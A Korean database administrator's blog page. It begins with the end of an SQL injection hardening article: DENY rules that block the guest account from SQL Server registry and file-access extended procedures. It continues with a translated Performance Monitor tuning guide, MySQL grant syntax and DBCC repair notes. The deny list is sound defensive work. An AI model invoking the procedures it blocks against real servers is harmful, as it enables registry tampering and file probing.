·  DENY  EXECUTE  ON [master].[dbo].[xp_regdeletevalue] TO [guest] CASCADE  
·  DENY  EXECUTE  ON [master].[dbo].[xp_regremovemultistring] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
 
 마지막으로 일반 User의 물리적 파일 접근을 제한하기 위해 아래 쿼리를 실행한다.

·  DENY  EXECUTE  ON [master].[dbo].[xp_fileexist] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_fixeddrives] TO [guest] CASCADE
·  DENY  EXECUTE  ON [master].[dbo].[xp_getfiledetails] TO [guest] CASCADE

 SQL Injection은 본편에서 접했던 내용 이외에도 다양한 방법이 존재한다.  한순간의 방심으로인해 기업내 보안 취약점이 노출되기 쉽상이다.  조금만 더 관심을 가져본다면 완벽에 가까운 서버 보안을 기대할 수 있지 않을까?


출처 : 네이버 지식 백과
http://kin.naver.com/open100/db_detail.php?d1id=1&dir_id=106&eid=ss6kfQXsI2yr3GTPyeG6jDCuO5a2KjZW&qb=U1FMIEluamVjdGlvbiAoU1FMIMDOwae8xym/oSC068fRILq4vsg=&pid=fnjOZloi5UZssvbfAxCsss--327546&sid=HYqTH-kr40gAAA0cLgEAAABG

Comment 0

SQL 튜닝 관련 글

SQL 2008/09/30 16:03

Use Performance Monitor to Help Identify SQL Server Hardware Bottlenecks
=>SQL 서버의 하드웨어 바틀넥(이건 따로 해석 안해도 더 잘 아실꺼라 생각해욤~ ^^*)식별을 돕기 위해 성능 모니터 이용하기


The best place to start your SQL Server performance audit is to begin with the Performance Monitor (System Monitor). By monitoring a few key counters over a 24 hour period, you should get a pretty good feel for any major hardware bottlenecks your SQL Server is experiencing.
=> SQL 서버의 성능 검사를 시작하기 위한 가장 좋은 출발점은 성능 모니터(Performance Monitor => 이하 성능 모니터로 쓰겠습니당/시스템 모니터) 이다. 몇몇 키 카운터들을 24시간 모니터링 함으로써 SQL 서버가 어떠한 주요 하드웨어 바틀넥을 갖게 되는지 잘 알게 될 것이다.


Ideally, you should use Performance Monitor to create a log of key counters for a period of 24 hours. You will want to select a "typical" 24 hour period when it comes to deciding when to create your Performance Monitor log. For example, pick a typical business day,  not a weekend or holiday.
=> 원직적으로, 여러분은 24시간 동안의 키 카운터들의 로그를 생성하기 위해 성능 모니터를 사용해야 한다. 여러분은 성능 모니터 로그를 생시 "전형적인(평범한)" 24 시간동안의 로그를 뽑아내고 싶을 것이다. 예를 들어 주말이나 공휴일이 아닌 전형적인 비지니스 시간대를 말이다(서비스 시간대를 말하는것 같네요).


Once you have captured 24 hours of Performance Monitor data in a log, display the recommended counters in the Graph mode of Performance Monitor, and then record the average, minimum, and maximum values in the table above. Once you have done this, then compare your results with the analysis below. By comparing your results with the recommendations below, you should be able to quickly identify any potential hardware bottlenecks your SQL Server is experiencing.

=> 일단 여러분이 24시간동안의 성능 모니터 로그를 뽑아내게 되면, 성능 모니터의 그래프 모드에 주요(권장된) 카운터 들을 나타내고, 평균, 최소, 최대값들을 테이블에 기록하도록 한다. 기록까지 되고 나면, 결과값들이 적힌 테이블을 아래의 분석값과 비교한다. 아래 권장된 값들과 비교하면서 여러분은 SQL 서버가 경험하고 있는 잠재된 하드웨어 바틀넥 현상을 빨리 알아챌 수 있어야 한다.

  

How to Interpret Key Performance Monitor Counters

키 성능 모니터 카운터들을 어떻게 설명할 것인가?


Below is a discussions of the various key Performance Monitor counters, their recommended values, and some options for helping to identify and resolve the hardware bottlenecks. Note that I have limited the number of Performance Monitor counters to watch. I have done so because our goal in this article is to find the easy and obvious performance problems. Many other Performance Monitor counters can be found discussed elsewhere on this website.

=> 이 부분은 아래에 올 내용들에 대한 설명이므로 패스 하겠습니당~ 내용이 좀 기네요 ^^* / 아... 성능 모니터의 키 카운터 값들에 대한 설명 입니당~


Memory: Pages/sec

This counter measures the number of pages per second that are paged out of RAM to disk, or paged into RAM from disk. The more paging that occurs, the more I/O overhead your server experiences, which in turn can decrease the performance of SQL Server. Your goal is to try to keep paging to a minimum, not to eliminate it.

=> 메모리 카운터는 초당 RAM 에서 disk 혹은 disk 에서 RAM 으로 페이지 되는 페이지수(페이지/초)를 측정한다. 페이징 수가 늘어나면 여러분들의 서버는 I/O 부하를 갖게 되는데 이것은 SQL 서버의 성능을 감소 시킵니다. 여러분이 해야 할 것은 페이징 수를 미니멈으로 유지하되 페이징이 되도록 살려 놓는 것입니다.

 

Assuming that SQL Server is the only major application running on your server, then this figure should ideally average between zero and 20. You will most likely see spikes much greater than 20, which is normal. They key here is keeping the average pages per second less than 20.

=> SQL 서버가 여러분의 서버에서 가동되는 유일한 어플리케이션이라고 가정하면 이상적인 값은 0-20 입니다(정상일때). 키는 20보다 낮은수를 유지하려고 합니다.

 

If your server is averaging more than 20 pages per second, one of the more likely causes of this is a memory bottleneck due to a lack of needed RAM. Generally speaking, the more RAM a server has, the less paging it has to perform.

여러분의 서버의 평균값이 20 이상이 되면 대부분의 경우 RAM 의 부족에서 오는 메모리 바틀넥 때문입니다. 일반적으로 서버의 RAM 값이 클수록 페이징 수치는 감소하게 됩니다.

 

In most cases, on a physical server dedicated to SQL Server with an adequate amount of RAM, paging will average less than 20. An adequate amount of RAM for SQL Server is a server that has a Buffer Hit Cache Ratio (described in more detail later) of 99% and higher. If you have a SQL Server that has a Buffer Hit Cache Ratio of 99% or higher for a period of 24 hours, but you are getting an average paging level of over 20 during this same time period, this may indicate that you are running other applications on the physical server other than SQL Server. If this is the case, you should ideally remove those applications, allowing SQL Server to be the only major application on the physical server.

=> 대부분의 경우 충분한 양의 RAM 을 확보한 SQL 서버 전용의 물리적 서버에서 페이징은 20 보다 작은 평균값을 갖는다. 넉넉한 RAM 을 갖고 있는 SQL 서버는 버퍼 힛 케시율(나중에 더 자세히 설명됨)이 99% 이상이다. 만일 24시간 동안의 버퍼 힛 케시율이 99% 이상이지만 평균 페이징 수치가 20 을 넘어섰다면(같은 24시간 동안의 수치) 여러분의 물리적 서버에 또 다른 어플리케이션들이 가동되고 있다는것을 의미한다. 이러한 경우에는 물리적 서버에서 SQL 서버를 제외한 어플리케이션들을 없애는것이 좋다.

 

If your SQL Server is not running any other applications, and paging exceeds 20 on average for a 24 hour period, this may mean that you have changed the SQL Server memory settings. SQL Server should be configured so that it is set to the "Dynamically configure SQL Server memory" option, and the "Maximum Memory" setting should be set to the highest level. For optimum performance, SQL Server should be allowed to take as much RAM as it wants for its own use without having to compete for RAM with other applications.

=> 만일 여러분의 서버에 다른 어떠한 어플리케이션이 구동되고 있지 않은데도 24시간 동안의 평균 페이징수가 20을 훨씬 넘어 버린다면, 이것은 여러분이 SQL 서버의 메모리 세팅을 바꿨다는 의미이다. SQL 서버는 "Dynamically configure SQL Server memory" 옵션으로 셋팅이 되어야 하고, "Maximum Memory" 셋팅은 최고레벨로 되어 있어야 한다. 최적의 성능을 위하여, 다른 어플리케이션들과 RAM 사용을 공유하지 않고 SQL 서버가 필요한 만큰의 충분한 RAM 이 확보되어 있어야 한다.

 

Memory: Available Bytes

 

Another way to check to see if your SQL Server has enough physical RAM is to check the Memory Object: Available Bytes counter. This value should be greater than 5MB. If not, then your SQL Server needs more physical RAM. On a server dedicated to SQL Server, SQL Server attempts to maintain from 4-10MB of free physical memory. The remaining physical RAM is used by the operating system and SQL Server. When the amount of available bytes is near 5MB, or lower, most likely SQL Server is experiencing a performance hit due to lack of memory. When this happens, you either need to increase the amount of physical RAM in the server, reduce the load on the server, or change your SQL Server's memory configuration settings appropriately.

=> 여러분의 sQL 서버가 충분한 물리적 RAM 을 갖고 있는지를 체크하는 또다른 방법은 메모리 객체(Memory Object)를 체크해 보는 것이다.- 가용 바이트 카운터(?) - 이 값은 5MB 이상이 되어야 한다. 만일 그렇지 않다면 여러분의 sQL 서버에 물리적 RAM 이 부족하다는 것이다. SQL 전용 서버에서, SQL 서버는 4-10MB 의 물리적인 프리 메모리를 유지 하려고 한다. 그리고, 나머지 RAM 은 OS 와 SQL 서버에서 사용하게 된다. 가용 바이트(available bytes)가 5MB 근처이거나 이보다 작을경우 대부분의 SQL 서버는 메모리 부족 현상을 격게 된다. 이러한 현상이 발생 했을때, 여러분은 물리적 RAM 을 늘리거나, 서버에 load 를 줄이거나, SQL 서버의 메모리 설정값을 적당하게 바꿔 주어야 한다.

 

Physical Disk: % Disk Time

This counter measures how busy a physical array is (not a logical partition or individual disks in an array). It provides a good relative measure of how busy your arrays are.

=> 이 카운터는 하나의 물리적 어레이가 얼마나 바쁜지를 측정한다(논리적 파티션이나 어레이에 있는 각각의 디스크를 말하는것이 아니다.)


As a rule of thumb, the % Disk Time counter should run less than 55%. If this counter exceeds 55% for continuous periods (over 10 minutes or so during your 24 hour monitoring period), then your SQL Server may be experiencing an I/O bottleneck. If you see this behavior only occasionally in your 24 hour monitoring period, I wouldn't worry too much, but if it happens often (say, several times an hour), then I would start looking into finding ways to increase the I/O performance on the server, or to reduce the load on the server. Some ways to boost disk I/O include adding drives to an array (if you can), getting faster drives, adding cache memory to the controller card (if you can), using a different version of RAID, or getting a faster controller.

=> 경험적으로 % Disk Time 카운터 값은 55% 이하여야 한다. 만일 이 카운터 값이 일정 기간동안(10분 이상이나 24시간 모니터한 시간동안 중에 10분 이상) 계속해서 55%를 훨씬 윗돌면 여러분의 SQL 서버는 I/O 바틀넥을 격고 있을것이다. 만일 이러한 현상이 간헐적으로 일어난다면 별로 걱정할 필요가 없지만, 자주(한시간에 몇번 정도...) 일어난다면 서버의 I/O 성능을 증가 시킬 수 있거나 서버에 load 를 줄일 수 있는 방법을 찾아 보아야 한다. 만일 가능하다면 하나의 어레이에 드라이브를 추가 한다거나, 더 빠른 드라이브들을 구입한다거나, 컨트롤러 카드에 케쉬 메모리를 추가 한다거나, 다른 형식의 RAID 를 구성한다거나, 더 빠른 컨트롤러등을 구입하여 디스크 I/O성능을 증가시킬 수 있다.

 

Before using this counter under NT 4.0, be sure to manually turn it on by going to the NT Command Prompt and entering the following: "diskperf -y", and then rebooting your server. This is required to turn on the disk counters on for the first time under Windows NT 4.0. If you are running Windows 2000, this counter is turned on by default.

=> 이 카운터를 NT 4.0 이하의 버젼에서 사용하기 전에 수동으로 NT 컴맨드 창에서 "diskperf -y" 명령어를 수행하고 서버를 리부팅 했는지 확인하여야 한다. NT 4.0 이하의 버젼에서는 최초 사용시 이 카운터를 사용하기 위하여 이러한 방법을 사용해야 하며, Windows 2000 부터는 이 카운터의 사용이 디폴트로 잡혀있다.

 

Physical Disk: Avg. Disk Queue Length

Besides watching the Physical Disk: % Disk Time counter, you will also want to watch the Avg. Disk Queue Length counter as well. If it exceeds 2 for continuous periods (over 10 minutes or so during your 24 hour monitoring period) for each disk drive in an array, then you may have an I/O bottleneck for that array. Like the Physical Disk: % Disk Time counter, if this happens occasionally in your 24 hour monitoring period, I wouldn't worry too much, but if it happens often, then I would start looking into finding ways to increase the I/O performance on the server, as described previously.

=> %DISK Time 카운터를 보다보면 평균값을 구하고 싶을 것이다. 디스크의 큐 길이(Disk Que Length) 또한 알고 싶을 것이다. 만일 Disk Queue Length 가 하나의 어레이에 있는 각각의 디스크 드라이브에서 일정 시간동안(10분 이상 또는 24시간동안의 모니터링 시간중 10분 이상) 계속해서 2 보다 큰값을 갖는다면 그 어레이에 I/O 바틀넥이 있는 것이다. %Disk Time 카운터의 경우와 같이 24시간의 시간동안 간헐적으로 발생하였다면 문제가 없으나 자주 발생하면 위에서 설명한 것과 같이 서버의 I/O 성능을 증가시킬 방법을 찾아 보아야 할 것이다.

 

You will need to calculate this figure because Performance Monitor does not know how many physical drives are in your array. For example, if you have an array of 6 physical disks, and the Avg. Disk Queue Length is 10 for a particular array, then the actual Avg. Disk Queue Length for each drive is 1.66 (10/6=1.66), which is well within the recommended 2 per physical disk.

Before using this counter under NT 4.0, be sure to manually turn it on by going to the NT Command Prompt and entering the following: "diskperf -y", and then rebooting your server. This is required to turn on the disk counters on for the first time under Windows NT 4.0. If you are running Windows 2000, this counter is turned on by default.

=> 성능 모니터는 얼마나 많은 물리적 디스크 드라이브가 어레이 안에 들어있는지 모르기 때문에 여기서 여러분은 약간의 계산을 해주어야 한다. 예를 들어 여러분이 하나의 어레이에 6개의 물리적 디스크를 갖고 있고, 하나의 특정 에레이의 Disk Queue Length 평균값이 10 이라면 실제 각각의 드라이브에 대한 평균 Disk Queue Lengthsms 1.6(10/6=1.66)이다. 이 값은 권장값이 2 보다 낮은 값이다. 이 카운터를 NT 4.0 이하 버젼에서 사용하기 위해 "diskperf -y" 를 컴맨드 창에서 실행해 주고 서버를 리부팅 해 주어야 한다는 것을 잊지 말아야 한다. 2000 에서 부터 이 카운터의 사용은 디폴트 이다.

 

Use both the % Disk Time and the Avg. Disk Queue Length counters together to help you decide if your server is experiencing an I/O bottleneck. For example, if you see many time periods where the % Disk Time is over 55% and when the Avg. Disk Queue Length counter is over 2 per physical disk, you can be confident the server is having a I/O bottleneck.

=> 여러분의 서버가 I/O 바틀넥 현상이 있는지 없는지를 결정하는데 %Disk Time 카운터와 평균 Disk Queue Length 카운터가 도움을 줄 것 입니다. 예를 들어 여러번에 걸쳐 일정 시간동안의 %Disk Time 카운터가 55% 이상이고, 평균 Disk Queue Length 카운터가 2 이상임을 확인 하신다면 서버가 I/O 바틀넥 현상을 일으키고 있음이 확실 합니다.

 

Processor: % Processor Time

The Processor Object: % Processor Time counter, is available for each CPU (instance), and measures the utilization of each individual CPU. This same counter is also available for all of the CPUs (total). This is the key counter to watch for CPU utilization. If the % Total Processor Time (total) counter exceeds 80% for continuous periods (over 10 minutes or so during your 24 hour monitoring period), then you may have a CPU bottleneck. If these busy periods are only occur occasionally, and you think you can live with them, that's OK. But if they occur often, you may want to consider reducing the load on the server, getting faster CPUs, getting more CPUs, or getting CPUs that have a larger on-board L2 cache. 

=> %Processor Time(프로세스 시간(%)) 카운터는 각각의 CPU(인스턴스)에 대해 나타내어지는 값이며, 각각의 CPU 의 이용값들을 측정합니다. 이 카운터는 또한 모든 CPU(total CPU의 측정치를 한번에 볼 수 있다는 얘기 같네요)에 대해서도 측정이 가능합니다. 이 키 카운터는 CPU 의 이용현황을 확인시켜 줍니다. 만약 %Total Processor Time 카운터가 일정 시간동안(10분 이상이나 24시간의 모니터링 시간중 10분 이상) 계속해서 80% 이상의 값을 유지한다면 CPU 바틀넥 현상을 일으키는 것 입니다. 만약 이러한 현상이 간헐적으로 일어나고, 별 문제 없이 SQL 서버를 운영할 수 있다면 문제가 되지 않습니다. 하지만, 이러한 현상이 빈번히 일어난다면, 서버의 load 를 줄이거나, 더 빠른 CPU를 구입하거나, 더 많은 CPU를 구입하거나, 용량이 큰 온 보드 L2 케쉬가 달린 CPU를 구입하여야 합니다.


System: Processor Queue Length

Along with the Processor: % Processor Time counter, you will also want to monitor the Processor Queue Length counter. If it exceeds 2 per CPU for continuous periods (over 10 minutes or so during your 24 hour monitoring period), then you probably have a CPU bottleneck. For example, if you have 4 CPUs in your server, the Processor Queue Length should not exceed a total of 8 for the entire server.

=> %Processor Time 카운터로 여러분은 Processor Queue Length 카운터 또한 모니터링 하기를 원할 것 입니다. 일정 시간동안(10분 이상, 또는 24시간의 모니터링 시간중 10분 이상) 계속해서 CPU 당 2 이상의 값을 갖는다면 CPU 바틀넥 현상이 있을 것 입니다. 예를 들어 서버에 4개의 CPU 가 있다면 Processor Queue Length 는 서버를 통털어서 8(4개의 CPU에 각각 2의 값을 넘으면 안되니 4x2=8 이 되겠죠)이 넘어서는 안됩니다.

If the Processor Queue Length regularly exceeds the recommended maximum, but the CPU utilization is not correspondingly as high (which is typical), then consider reducing the SQL Server "max worker threads" configuration setting. It is possible the reason that the Processor Queue Length is high is because there are an excess number of worker threads waiting to take their turn. By reducing the number of "maximum worker threads", what you are doing is forcing thread pooling to kick in (if it hasn't already), or to take greater advantage of thread pooling.

=> 만약 Processor Queue Length 가 규칙적으로 권장 최고치 를 상회하지만 CPU 이용이 상대적으로 높지 않다면(일반적인 경우를 말합니다.), SQL 서버의 "max worker threads" 세팅값을 낮추는것을 고려해 보아야 합니다. Processor Queue Length 값이 높을 경우 과도한(초과된) 작업자들의 쓰레드가 CPU 사용을 위해 기다리고 있는 경우가 원인이 될 수 있습니다. "maximum worker threads" 값을 줄임으로써 여러분이 기대할 수 있는것은 쓰레드 풀링을 강제로 CPU 에서 작업할 수 있도록 밀어 넣거나, 쓰레드 풀링의 더 큰 이점을 얻을 수 있다는 것 입니다.(마지막 부분은 제가 이해가 좀 안가는 부분이라 해석이 맞는지 모르겠어요... -.-;;)

Use both the Processor Queue Length and the % Total Process Time counters together to determine if you have a CPU bottleneck. If both indicators are exceeding their recommended amounts during the same continuous time periods, you can be assured there is a CPU bottleneck.

=> Processor Queue Length 와 %Total Process Time 카운터를 동시에 사용하여 CPU 바틀넥 현상이 있는지 없는지를 결정할 수 있습니다. 만약 두 수치가 동시에 일정 시간동안 권장 카운터 값을 상회 한다면 CPU 바틀넥이 있다고 보면 됩니다.

 

SQL Server Buffer: Buffer Cache Hit Ratio

This SQL Server Buffer: Buffer Cache Hit Ratio counter indicates how often SQL Server goes to the buffer, not the hard disk, to get data. In OLTP applications, this ratio should exceed 90%, and ideally be over 99%. If your buffer cache hit ratio is lower than 90%, you need to go out and buy more RAM today. If the ratio is between 90% and 99%, then you should seriously consider purchasing more RAM, as the closer you get to 99%, the faster your SQL Server will perform. In some cases, if your database is very large, you may not be able to get close to 99%, even if you put the maximum amount of RAM in your server. All you can do is add as much as you can, and then live with the consequences.

=> Buffer Cache Hit Ratio(버퍼 캐쉬 힛 율) 카운터는 SQL 서버가 데이터를 얻기 위해 얼마나 자주 디스크가 아닌 버퍼를 사용하는가에 대한 수치를 나타냅니다. OLTP 어플리케이션의 경우 이 값으 90% 이상을 넘고 이론적으로는 99%를 넘습니다. 만일 90% 이하의 Buffer Cache Hit Ratio 값을 갖는다면 RAM 을 더 추가 하여야 합니다. 만일 카운터 값이 90% 에서 99% 사이라면 RAM 을 더 추가 하여야 할지 심각하게 고민해 보아야 할 필요가 있습니다. 왜냐하면 카운터 값이 99% 에 가까울수록 SQL 서버의 성능이 더 빨라질 것이기 때문입니다. 몇몇 경우에 있어서, 만일 여러분의 DB 가 대형일 경우, 최대 개수의 RAM 을 서버에 설치 하였다 하더라도, 99% 에 가까운 카운터 값을 얻지 못할 수 있습니다. 이럴때 여러분이 할 수 있는 유일한 방법은 결과를 지켜 보는 수 밖에 없습니다.

In OLAP applications, the ratio can be much less because of the nature of how OLAP works. In any case, more RAM should increase the performance of SQL Server.

=> OLAP 어플리케이션들에서는 OLAP의 운영 원리상 낮은 카운터 값을 갓게 될 수 있습니다. 어떠한 경우이던 간에, RAM 이 많을수록 SQL 서버의 성능은 향상 됩니다.

 

SQL Server General: User Connections

Since the number of users using SQL Server affects its performance, you may want to keep an eye on the SQL Server General Statistics Object: User Connections counter. This shows the number of user connections, not the number of users, that currently are connected to SQL Server.

사용자의 수가 SQL 서버 성능에 영향을 미치기 때문에 여러분은 User Connections(사용자 접속) 카운터에 관심이 있을것 입니다. 이 카운터는 현재 SQL 서버에 접속해 있는 사용자 수를 보여주는 것이지, 단순한 사용자 수를 보여주는것이 아닙니다.

If this counter exceeds 255, then you may want to boost the SQL Server configuration setting, "Maximum Worker Threads" to a figure higher than the default setting of 255. If the number of connections exceeds the number of available worker threads, then SQL Server will begin to share worker threads, which can hurt performance. The setting for "Maximum Worker Threads" should be higher than the maximum number of user connections your server ever reaches.

=> 만일 이 수치가 255을 넘는다면 여러분은 아마도 SQL 서버의 "Maximum Worker Threads" 값을 디폴트 세팅값이 255 보다 높이려 할 것입니다. 만일 접속수가 가용한 작업자 쓰레드 값보다 높다면 SQL 서버는 작업자 쓰레드를 공유하기 시작할 것이고, 이는 서버에 성능 저하를 가져다 줄 것입니다.

 

Where to Go From Here

While there are a lot more counters than the ones you find on this page, these cover the key counters that you need to monitor during your Performance Audit. Once you have completed your Performance Monitor analysis, use the recommendations presented here, and later in this article series, to make the necessary changes to get your SQL Server performing as it should.

=> 이 부분은 기술적인 부분이 아니라 생략하도록 하겠습니당 ^^*

tags : sql 튜닝
Comment 0

현재 DB 연결중인 Connection의 갯수

SQL 2008/09/19 14:35
sp_who

use master

select count(*) from sysprocesses where program_name = 'windows 2000'

iis를 통해서 들어온다면 program_name에 windows 2000 Server 이런식으로 program_name 에서 보여집니다.

이를 통하여 count를 해보세요..
Comment 0

Mysql 연결

SQL/Mysql 2008/06/24 20:18
./bin/mysql [-h host_name] [-u user_name] [-p user_password] [database_name]
ex) ./bin/mysql -h localhost -u root -p database

grant [부여할권한] on [대상DB명] to [사용자명] identified by '비밀번호';
ex) grant all privileges on WCG_test.* to [email protected]"localhost" identified by 'tood_227';

[백업]
./mysqldump -u root -p 데이터베이스 > 데이터베이스명          
Enter password :

[복원]
Comment 0

DBCC CHECKTABLE(databasename.dbo.Tablename , repair_allow_data_loss) 결과

SQL 2008/06/18 13:12
메시지 8939, 수준 16, 상태 98, 줄 1
테이블 오류: 개체 ID 0, 인덱스 ID -1, 파티션 ID 0, 할당 단위 ID -65536(Unknown 유형), 페이지 (65535:-1). 테스트(IS_OFF (BUF_IOERR, pBUF->bstat))가 실패했습니다. 값은 46139401 및 -1입니다.
        이 오류를 복구할 수 없습니다.
CHECKTABLE에서 어떤 개체와도 연결되지 않은 0개의 할당 오류와 1개의 일관성 오류를 찾았습니다.
'Tablename'의 DBCC 결과입니다.
복구: 데이터베이스 "databasename"에서 개체 "dbo.Tablename"의 Clustered 인덱스가 다시 작성되었습니다.
복구: 페이지 (3:865899)이(가) 개체 ID 1387151987, 인덱스 ID 1, 파티션 ID 72057594040549376, 할당 단위 ID 72057594044547072(In-row data 유형)에서 할당 취소되었습니다.
복구: 데이터베이스 "databasename"에서 개체 "dbo.Tablename, IX_columID"의 Nonclustered 인덱스가 다시 작성되었습니다.
복구: 데이터베이스 "databasename"에서 개체 "dbo.Tablename, IX_DateTime"의 Nonclustered 인덱스가 다시 작성되었습니다.
메시지 8945, 수준 16, 상태 1, 줄 1
테이블 오류: 개체 ID 1387151987, 인덱스 ID 1을(를) 다시 작성합니다.
        오류가 복구되었습니다.
메시지 8928, 수준 16, 상태 1, 줄 1
개체 ID 1387151987, 인덱스 ID 1, 파티션 ID 72057594040549376, 할당 단위 ID 72057594044547072(In-row data 유형): 페이지 (3:865899)을(를) 처리할 수 없습니다. 자세한 내용은 다른 오류를 참조하십시오.
        오류가 복구되었습니다.
메시지 8976, 수준 16, 상태 1, 줄 1
테이블 오류: 개체 ID 1387151987, 인덱스 ID 1, 파티션 ID 72057594040549376, 할당 단위 ID 72057594044547072(In-row data 유형). 부모 (3:805771)과(와) 이전의 (3:771982)이(가) 페이지 (3:865899)을(를) 참조하지만 이 페이지가 검색에 없습니다. 이전 오류를 확인하십시오.
        오류가 복구되었습니다.
메시지 8978, 수준 16, 상태 1, 줄 1
테이블 오류: 개체 ID 1387151987, 인덱스 ID 1, 파티션 ID 72057594040549376, 할당 단위 ID 72057594044547072(In-row data 유형). 페이지 (3:866905)에 이전 페이지 (3:865899)에서의 참조가 없습니다. 체인 연결 문제가 있는 것 같습니다.
        오류가 복구되었습니다.
메시지 8945, 수준 16, 상태 1, 줄 1
테이블 오류: 개체 ID 1387151987, 인덱스 ID 2을(를) 다시 작성합니다.
        오류가 복구되었습니다.
메시지 8945, 수준 16, 상태 1, 줄 1
테이블 오류: 개체 ID 1387151987, 인덱스 ID 3을(를) 다시 작성합니다.
        오류가 복구되었습니다.
1478814개 페이지에 개체 "Tablename"에 대한 행이 96873998개 있습니다.
CHECKTABLE이(가) 테이블 'Tablename'(개체 ID 1387151987)에서 0개의 할당 오류와 3개의 일관성 오류를 찾았습니다.
CHECKTABLE이(가) 테이블 'Tablename'(개체 ID 1387151987)에서 0개의 할당 오류와 3개의 일관성 오류를 수정했습니다.
repair_allow_data_loss은(는) DBCC CHECKTABLE(databasename.dbo.Tablename , repair_allow_data_loss)이(가) 찾은 오류의 최소 복구 수준입니다.
DBCC 실행이 완료되었습니다. DBCC에서 오류 메시지를 출력하면 시스템 관리자에게 문의하십시오.
tags : CHECKTABLE
Comment 0

DBCC CHECKDB

SQL 2008/06/16 19:33

손상된 데이터베이스 복구하기(DBCC CHECKDB를 사용하여 오류 복구하기)

DBCC CHECKDB 명령어를 사용하면 특정 데이터베이스의 일관성(consistency)를 점검할 수 있습니다. DBCC CHECKDB 명령어는 데이터베이스 손상을 점검하는 주요 수단이며, 다 음과 같은 사항들을 점검합니다.


- 인덱스 페이지와 데이터 페이지들이 제대로 연결되어 있는가
- 인덱스가 최신 상태이고, 제대로 정렬되어 있는가
- 포인트들이 일관성이 있는가 (Consistent)
- 각 페이지 상의 데이터가 최신 상태인가
- 페이지 오프셋이 최신 상태인가


[구문]
DBCC CHECKDB ( ' database_name' [ , NOINDEX | { REPAIR_ALLOW_DATA_LOSS | REPAIR_FAST | REPAIR_REBUILD } ] ) [ WITH { [ ALL_ERRORMSGS ] [ , [ NO_INFOMSGS ] ] [ , [ TABLOCK ] ] [ , [ ESTIMATEONLY ] ] [ , [ PHYSICAL_ONLY ] ] } ]

[사전지식]
DBCC CHECKDB나 DBCC CHECKTABLE에 REPAIR 옵션을 지정하여 수행하고자 하는 경우에는 SQL Server를 단일 사용자 모드로 시작해서는 안되고 해당 데이터베이스를 단일 사용자 모드(single user mode)로 설정해야 합니다.


[참고] 데이터베이스를 단일 사용자 모드로 설정하는 방법 세 가지 A. 엔터프라이즈 관리자에서 설정하기 1. 해당 데이터베이스에서 마우스의 오른쪽 버튼을 클릭한 다음에 [속성]을 선택 2. 속성 창에서 [옵션] 탭을 선택합니다. 3. “액세스 제한”checkbox를 선택한 다음에“단일 사용자”를 선택하고 [확인] 버튼을 클릭합니다. B. 쿼리 분석기에서 sp_dboption을 사용하여 설정하기 USE master GO EXEC sp_dboption db_name, single, true GO C. 쿼리 분석기에서 ALTER DATABASE를 사용하여 설정하기 (작업단계) 1. 지정한 시간이 경과한 후에 완료되지 않은 트랜잭션들을 롤백하고 단일 사용자 모드로 변경하고자 하는 경우 2. 완료되지 않은 트랜잭션들을 즉시 롤백하고 단일 사용자 모드로 변경하고자 하 는 경우[참고] 복구 옵션에 대하여 이해하기 A. REPAIR_FAST 옵션 : 사소한 손상을 복구하는 작업을 수행하며 수행 시간도 빠 르고 데이터 유실도 유발하지 않습니다. B. REPAIR_REBUILD 옵션 : REPAIR_FAST 에서 이루어지는 모든 복구 작업을 수 행하고 인덱스 재작성과 같이 시간이 소요되는 복구 작업을 수행하며, 소요 시간 이 길고 데이터 유실도 발생하지 않습니다. C. REPAIR_ALLOW_DATA_LOSS 옵션 : REPAIR_REBUILD가 수행하는 모든 작업 들을 동일하게 수행하며, 데이터 유실이 발생할 수 있는 작업을 추가로 수행합니 다. 구조적인 문제와 페이지 오류를 정정하고 손상된 텍스트 오브젝트를 삭제하 는 작업을 수행하기 때문에 데이터 유실이 발생할 수도 있습니다.[참고] 복구 작업 단계 1. 해당 데이터베이스를 단일 사용자 모드로 변경합니다. 2. REPAIR 옵션을 지정하여 DBCC CHECKDB를 수행합니다. 2-1. 먼저 REPAIR_FAST 나 REPAIR_REBUILD 옵션을 지정하여 문제 해결을 시 도합니다. 2-2. REPAIR_FAST 나 REPAIR_REBUILD 옵션으로 문제가 해결되지 않으면 REPAIR_ALLOW_DATA_LOSS 옵션을 사용합니다. [주의] REPAIR_ALLOW_DATA_LOSS 옵션을 사용하면 데이터의 유실이 발생할 수 있 다는 점을 명심하기 바랍니다. [권고사항] REPAIR_ALLOW_DATA_LOSS 옵션을 사용하는 경우에는 명령어 수행 후에 다 시 원래 상태로 복구할 수 있도록 하기 위해서 트랜잭션 내부에서 DBCC 명령어 를 수행할 것을 권고합니다. 이와 같이 작업하면 복구 작업을 수행하고 결과를 확 인한 다음에 필요한 경우에 롤백이 가능해집니다. 3. 복구가 완료되면 데이터베이스를 백업합니다.

[따라하기] SELECT DATABASEPROPERTYEX ('Northwind', 'UserAccess') GO /* 결과: MULTI_USER */ ALTER DATABASE Northwind SET SINGLE_USER WITH ROLLBACK AFTER 10 --10초 후에 완료되지 않은 트랜잭션들을 롤백 GO SELECT DATABASEPROPERTYEX ('Northwind', 'UserAccess') GO /* 결과: SINGLE_USER */ DBCC CHECKDB ('Northwind', REPAIR_FAST) GO ALTER DATABASE Northwind SET MULTI_USER GO


손상된 테이블 복구하기 (DBCC CHECKTABLE을 사용하여 오류 복구하기)

개별 테이블의 문제를 복구하고자 하는 경우에는 DBCC CHECKTABLE 명령어를 사용하면 됩니다.


[구문] DBCC CHECKTABLE ( ' table_name' | ' view_name' [ , NOINDEX | index_id | { REPAIR_ALLOW_DATA_LOSS | REPAIR_FAST | REPAIR_REBUILD } ] ) [ WITH { [ ALL_ERRORMSGS | NO_INFOMSGS ] [ , [ TABLOCK ] ] [ , [ ESTIMATEONLY ] ] [ , [ PHYSICAL_ONLY ] ] } ]
[따라하기] SELECT DATABASEPROPERTYEX ('Northwind', 'UserAccess') GO /* 결과: MULTI_USER */ ALTER DATABASE Northwind SET SINGLE_USER -- 10초 후에 완료되지 않은 트랜잭션들을 롤백 WITH ROLLBACK AFTER 10 GO SELECT DATABASEPROPERTYEX ('Northwind', 'UserAccess') GO /* 결과: SINGLE_USER */ USE Northwind GO DBCC CHECKTABLE (Orders, REPAIR_FAST) GO ALTER DATABASE Northwind SET MULTI_USER GO -- EXEC sp_dboption 'Northwind', 'single user', 'FALSE' -- GO


[출처 : DBA GUIDE]


Comment 0

미디어 세트에 2개의 미디어 패밀리가...

SQL/Mssql 2005 2008/06/05 13:49

